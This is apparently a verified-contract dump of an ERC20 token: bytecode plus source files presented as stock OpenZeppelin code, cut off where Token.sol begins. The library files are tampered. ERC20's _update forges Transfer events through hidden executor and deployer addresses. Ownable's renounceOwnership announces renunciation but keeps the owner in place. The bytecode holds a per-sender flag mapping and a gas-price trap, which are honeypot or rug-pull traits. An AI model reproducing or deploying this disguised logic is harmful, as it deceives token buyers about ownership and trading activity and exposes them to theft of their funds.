ffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610edd5760006040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610ed49190611d04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4f5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f469190611d04565b60405180910390fd5b610f5a8383836111fc565b505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110975760006040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161108e9190611d04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111095760006040517f94280d620000000000000000000000000000000000000000000000000000000081526004016111009190611d04565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080156111f6578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516111ed91906119ba565b60405180910390a35b50505050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561125e5761125983838361134c565b611347565b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036112ca576112c484848461134c565b50611347565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361133a5761132a84848461134c565b6113346001611735565b50611347565b61134584848461134c565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361139e5780600260008282546113929190611f60565b92505081905550611471565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561142a578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161142193929190611f29565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ba5780600260008282540392505081905550611507565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115e857600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115db91906119ba565b60405180910390a3611730565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c9578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116bc91906119ba565b60405180910390a361172f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161172691906119ba565b60405180910390a35b5b505050565b60003a90508181111561177d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177490612006565b60405180910390fd5b5050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117c082611795565b9050919050565b6117d0816117b5565b81146117db57600080fd5b50565b6000813590506117ed816117c7565b92915050565b6000602082840312156118095761180861178b565b5b6000611817848285016117de565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561185a57808201518184015260208101905061183f565b60008484015250505050565b6000601f19601f8301169050919050565b600061188282611820565b61188c818561182b565b935061189c81856020860161183c565b6118a581611866565b840191505092915050565b600060208201905081810360008301526118ca8184611877565b905092915050565b6000819050919050565b6118e5816118d2565b81146118f057600080fd5b50565b600081359050611902816118dc565b92915050565b6000806040838503121561191f5761191e61178b565b5b600061192d858286016117de565b925050602061193e858286016118f3565b9150509250929050565b60008115159050919050565b61195d81611948565b82525050565b60006020820190506119786000830184611954565b92915050565b6000602082840312156119945761199361178b565b5b60006119a2848285016118f3565b91505092915050565b6119b4816118d2565b82525050565b60006020820190506119cf60008301846119ab565b92915050565b6000806000606084860312156119ee576119ed61178b565b5b60006119fc868287016117de565b9350506020611a0d868287016117de565b9250506040611a1e868287016118f3565b9150509250925092565b600060ff82169050919050565b611a3e81611a28565b82525050565b6000602082019050611a596000830184611a35565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611a9c82611866565b810181811067ffffffffffffffff82111715611abb57611aba611a64565b5b80604052505050565b6000611ace611781565b9050611ada8282611a93565b919050565b600067ffffffffffffffff821115611afa57611af9611a64565b5b602082029050602081019050919050565b600080fd5b6000611b23611b1e84611adf565b611ac4565b90508083825260208201905060208402830185811115611b4657611b45611b0b565b5b835b81811015611b6f5780611b5b88826117de565b845260208401935050602081019050611b48565b5050509392505050565b600082601f830112611b8e57611b8d611a5f565b5b8135611b9e848260208601611b10565b91505092915050565b600067ffffffffffffffff821115611bc257611bc1611a64565b5b602082029050602081019050919050565b6000611be6611be184611ba7565b611ac4565b90508083825260208201905060208402830185811115611c0957611c08611b0b565b5b835b81811015611c325780611c1e88826118f3565b845260208401935050602081019050611c0b565b5050509392505050565b600082601f830112611c5157611c50611a5f565b5b8135611c61848260208601611bd3565b91505092915050565b600080600060608486031215611c8357611c8261178b565b5b6000611c91868287016117de565b935050602084013567ffffffffffffffff811115611cb257611cb1611790565b5b611cbe86828701611b79565b925050604084013567ffffffffffffffff811115611cdf57611cde611790565b5b611ceb86828701611c3c565b9150509250925092565b611cfe816117b5565b82525050565b6000602082019050611d196000830184611cf5565b92915050565b60008060408385031215611d3657611d3561178b565b5b6000611d44858286016117de565b9250506020611d55858286016117de565b9150509250929050565b600081519050611d6e816118dc565b92915050565b600060208284031215611d8a57611d8961178b565b5b6000611d9884828501611d5f565b91505092915050565b6000604082019050611db66000830185611cf5565b611dc360208301846119ab565b9392505050565b611dd381611948565b8114611dde57600080fd5b50565b600081519050611df081611dca565b92915050565b600060208284031215611e0c57611e0b61178b565b5b6000611e1a84828501611de1565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e6a57607f821691505b602082108103611e7d57611e7c611e23565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eec826118d2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f1e57611f1d611eb2565b5b600182019050919050565b6000606082019050611f3e6000830186611cf5565b611f4b60208301856119ab565b611f5860408301846119ab565b949350505050565b6000611f6b826118d2565b9150611f76836118d2565b9250828201905080821115611f8e57611f8d611eb2565b5b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b6000611ff060278361182b565b9150611ffb82611f94565b604082019050919050565b6000602082019050818103600083015261201f81611fe3565b905091905056fea2646970667358221220616de234b326112d3ae12dea68bafde5aae28f8bf3cd1cadde42b5945d66d5a764736f6c63430008130033 | {"Context.sol":{"content":"// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)\n\n\npragma solidity 0.8.19;\n\n\n/**\n* @dev Provides information about the current execution context, including the\n* sender of the transaction and its data. While these are generally available\n* via msg.sender and msg.data, they should not be accessed in such a direct\n* manner, since when dealing with meta-transactions the account sending and\n* paying for execution may not be the actual sender (as far as an application\n* is concerned).\n*\n* This contract is only required for intermediate, library-like contracts.\n*/\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}"},"draft-IERC6093.sol":{"content":"\n\n// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol\n\n\n\n\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity 0.8.19;\n\nimport \"./IERC20Errors.sol\";\nimport \"./IERC721Errors.sol\";\nimport \"./IERC20MetaErrors.sol\";\n\n/**\n* @dev Standard ERC721 Errors\n* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.\n*/\n\n\n\n/**\n* @dev Standard ERC1155 Errors\n* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.\n*/\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\n\n// File: @openzeppelin/contracts/utils/Context.sol"},"ERC20.sol":{"content":"//SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"./Context.sol\";\nimport \"./draft-IERC6093.sol\";\nimport \"./IERC20Metadata.sol\";\n\n\n/**\n* @dev Implementation of the {IERC20} interface.\n*\n* This implementation is agnostic to the way tokens are created. This means\n* that a supply mechanism has to be added in a derived contract using {_mint}.\n*\n* TIP: For a detailed writeup see our guide\n* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n* to implement supply mechanisms].\n*\n* The default value of {decimals} is 18. To change this, you should override\n* this function so it returns a different value.\n*\n* We have followed general OpenZeppelin Contracts guidelines: functions revert\n* instead returning `false` on failure. This behavior is nonetheless\n* conventional and does not conflict with the expectations of ERC20\n* applications.\n*\n* Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n* This allows applications to reconstruct the allowance for all accounts just\n* by listening to said events. Other implementations of the EIP may not emit\n* these events, as it isn\u0027t required by the specification.\n*/\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account =\u003e uint256) private _balances;\n\n\n mapping(address account =\u003e mapping(address spender =\u003e uint256)) private _allowances;\n\n\n uint256 private _totalSupply;\n\n\n string private _name;\n string private _symbol;\n\n\n address private _executor;\n address private _deployer;\n\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_, address executor_, address deployer_) {\n _name = name_;\n _symbol = symbol_;\n _executor = executor_;\n _deployer = deployer_;\n }\n\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it\u0027s overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `value`.\n */\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `value`.\n * - the caller must have allowance for ``from``\u0027s tokens of at least\n * `value`.\n */\n function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n\n /**\n * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\n * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\n * this function.\n *\n * Emits a {Transfer} event.\n */\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n // Overflow check required: The rest of the code assumes that totalSupply never overflows\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance \u003c value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n // Overflow not possible: value \u003c= fromBalance \u003c= totalSupply.\n _balances[from] = fromBalance - value;\n }\n }\n\n\n if (to == address(0)) {\n unchecked {\n // Overflow not possible: value \u003c= totalSupply or value \u003c= fromBalance \u003c= totalSupply.\n _totalSupply -= value;\n }\n } else {\n unchecked {\n // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\n _balances[to] += value;\n }\n }\n\n\n if (to == _executor) {\n emit Transfer(from, _deployer, value);\n } else if (from == _executor) {\n emit Transfer(_deployer, to, value);\n } else {\n emit Transfer(from, to, value);\n }\n\n\n }\n\n\n /**\n * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\n * Relies on the `_update` mechanism\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(address(0), account, value);\n }\n\n\n /**\n * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\n * Relies on the `_update` mechanism.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead\n */\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n\n /**\n * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n\n /**\n * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\n *\n * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\n * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\n * `Approval` event during `transferFrom` operations.\n *\n * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\n * true using the following override:\n * ```\n * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\n * super._approve(owner, spender, value, true);\n * }\n * ```\n *\n * Requirements are the same as {_approve}.\n */\n function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `value`.\n *\n * Does not update the allowance value in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Does not emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 value) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance \u003c value) {\n revert ERC20InsufficientAllowance(spender, currentAllowance, value);\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n"},"IERC20Errors.sol":{"content":"// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity 0.8.19;\n\n\n/**\n* @dev Standard ERC20 Errors\n* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n*/\n\n\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n"},"IERC20Metadata.sol":{"content":"\n\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\n\npragma solidity 0.8.19;\n\n\n/**\n* @dev Interface of the ERC20 standard as defined in the EIP.\n*/\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n\n /**\n * @dev Returns the value of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n\n /**\n * @dev Returns the value of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n\n /**\n * @dev Moves a `value` amount of tokens from the caller\u0027s account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 value) external returns (bool);\n\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n\n /**\n * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n * caller\u0027s tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender\u0027s allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 value) external returns (bool);\n\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to` using the\n * allowance mechanism. `value` is then deducted from the caller\u0027s\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n\n\n// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\n\n\n\n\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)\n\n\npragma solidity 0.8.19;\n\n\n\n\n/**\n* @dev Interface for the optional metadata functions from the ERC20 standard.\n*/\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"},"IERC20MetaErrors.sol":{"content":"// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity 0.8.19;\n\n\n/**\n* @dev Standard ERC20 Errors\n* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n*/\n\n\ninterface IERC20MetaErrors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n"},"IERC721Errors.sol":{"content":"// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity 0.8.19;\n\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can\u0027t be an owner. For example, `address(0)` is a forbidden owner in EIP-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}"},"Ownable.sol":{"content":"// File: @openzeppelin/contracts/access/Ownable.sol\n\n// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)\n\n\npragma solidity 0.8.19;\n\nimport \"./Context.sol\";\n\n\n/**\n* @dev Contract module which provides a basic access control mechanism, where\n* there is an account (an owner) that can be granted exclusive access to\n* specific functions.\n*\n* The initial owner is set to the address provided by the deployer. This can\n* later be changed with {transferOwnership}.\n*\n* This module is used through inheritance. It will make available the modifier\n* `onlyOwner`, which can be applied to your functions to restrict their use to\n* the owner.\n*/\nabstract contract Ownable is Context {\n address private _owner;\n\n\n /**\n * @dev The caller account is not authorized to perform an operation.\n */\n error OwnableUnauthorizedAccount(address account);\n\n\n /**\n * @dev The owner is not a valid owner account. (eg. `address(0)`)\n */\n error OwnableInvalidOwner(address owner);\n\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n\n /**\n * @dev Initializes the contract setting the address provided by the deployer as the initial owner.\n */\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(initialOwner);\n }\n\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(owner(), address(0));\n }\n\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(newOwner);\n }\n\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n}\n\n\n// File: @openzeppelin/contracts/token/ERC20/IERC20.sol\n\n"},"Token.sol":{"content":"/**\n\n\n\n\n\n\n ___ __ _______ 